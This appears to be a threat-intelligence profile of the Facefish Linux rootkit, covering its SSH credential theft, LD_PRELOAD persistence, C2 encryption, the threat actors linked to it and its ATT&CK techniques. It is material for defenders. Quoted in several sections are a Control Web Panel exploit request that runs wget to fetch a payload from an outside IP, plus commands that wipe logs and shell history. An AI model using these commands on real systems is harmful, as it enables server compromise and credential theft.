Facefish
- Type
- Rootkit
- Capabilities
- Credential theftExfiltrationPersistencePost exploitationDefense evasionReconnaissance
- Platforms
- Linux
Facefish is a Linux user-space rootkit and backdoor that provides persistent remote access and steals SSH authentication information. It consists of a dropper and a shared-library rootkit targeting OpenSSH on 64-bit Linux systems. The rootkit abuses LD_PRELOAD to load into dynamically linked processes and hooks functions in SSH clients and servers to capture login credentials. Installation includes configuring persistent library preloading and restarting SSH services to activate the implant.
Facefish collects system information, including hardware, network, and SSH-related configuration data, and sends stolen credentials to its command-and-control infrastructure. Its backdoor functionality supports arbitrary command execution, reverse shells, and renewed host-information collection. Command-and-control communications use Diffie–Hellman key exchange and Blowfish encryption. Analyzed droppers employ UPX packing, encrypted configuration data, erased ELF section information, and randomized configuration encryption that changes the resulting rootkit hash between installations. Observed installation chains also remove execution traces from logs and shell history.
Facefish has been deployed following exploitation of Control Web Panel vulnerabilities and through web shells on VMware vCenter servers compromised using CVE-2021-21972 and CVE-2021-22005. Observed users include the hacktivist group Twelve and Shedding Zmiy, a threat cluster associated with Cobalt/ExCobalt. Modified Facefish implants have been used for persistence on Linux servers in intrusions affecting Russian government and municipal organizations.
Associated vulnerabilities
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
4 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Modified FaceFish libraries were found at /lib64/libs.so and /usr/lib64/libs.so, with persistence through /etc/ld.so.preload.
Modified FaceFish libraries were found at /lib64/libs.so and /usr/lib64/libs.so, with persistence through /etc/ld.so.preload.
An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.
...prior iterations known as Facefish (February 2021), Kitsune (February 2022), and Megatsune (November 2023).
Techniques & procedures
20 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
Propagation method The vulnerabilities exploited in the wild are shown below POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;...
Execution
3 techniques
Execution
Accept command 0x302, reverse shell. | Accept command 0x310, execute any system command Send instruction 0x311 to return the result of bash execution
POST /admin/index.php?...&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;...
works at the Ring3 layer and is loaded using the LD_PRELOAD feature... Write the Rootkit configured in the previous stage to the /lib64/libs.so file, and write the following to /etc/ld.so.preload to realize the Rootkit preload.
Persistence
3 techniques
Persistence
we discovered a large number of web shells... All the web shells were written in PHP and bore random names
Restart the ssh service with the following command to give Rootkit a chance to load into the sshd application /etc/init.d/sshd restart /etc/rc.d/sshd restart service ssh restart systemctl restart ssh systemctl restart sshd.service
HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials
Privilege Escalation
1 technique
Privilege Escalation
Restart the ssh service with the following command to give Rootkit a chance to load into the sshd application /etc/init.d/sshd restart /etc/rc.d/sshd restart service ssh restart systemctl restart ssh systemctl restart sshd.service
Stealth
5 techniques
Stealth
The ELF sample file ... is a Dropper, which releases a Rootkit... Facefish consists of 2 parts, Dropper and Rootkit... loaded using the LD_PRELOAD feature
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; history -c
history -c
rm -rf /usr/bin/sshins;
works at the Ring3 layer and is loaded using the LD_PRELOAD feature... Write the Rootkit configured in the previous stage to the /lib64/libs.so file, and write the following to /etc/ld.so.preload to realize the Rootkit preload.
Defense Impairment
2 techniques
Defense Impairment
chmod 0777 /usr/bin/sshins;
HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials
Credential Access
2 techniques
Credential Access
its main function is to hook ssh/sshd program related functions, and it also supports some backdoor functions... steal user login credentials
HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials
Discovery
3 techniques
Discovery
start collecting host information, including: CPU model, Arch, memory size, hard disk size... Network device
Collect uname information, group packets and send 0x301
start collecting host information, including: CPU model, Arch, memory size, hard disk size, ssh service related configuration file and credential data.
Command and Control
4 techniques
Command and Control
bot sends 0x305 command to C2... receives and decrypts a C2 command, and then disconnects the TCP connection.
the main function is to download the payload of the first stage of execution, and then clean up the traces. cd /usr/bin; /usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; chmod 0777 /usr/bin/sshins;
The main functions of Facefish are Upload device information Stealing user credentials Bounce Shell Execute arbitrary commands
uses Diffie-Hellman exchange keys, Blowfish encrypted network communication... Rootkit's communication process uses DH (Diffie–Hellman) key exchange protocol/algorithm for key exchange, and BlowFish is used for communication data encryption
Observables
169 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.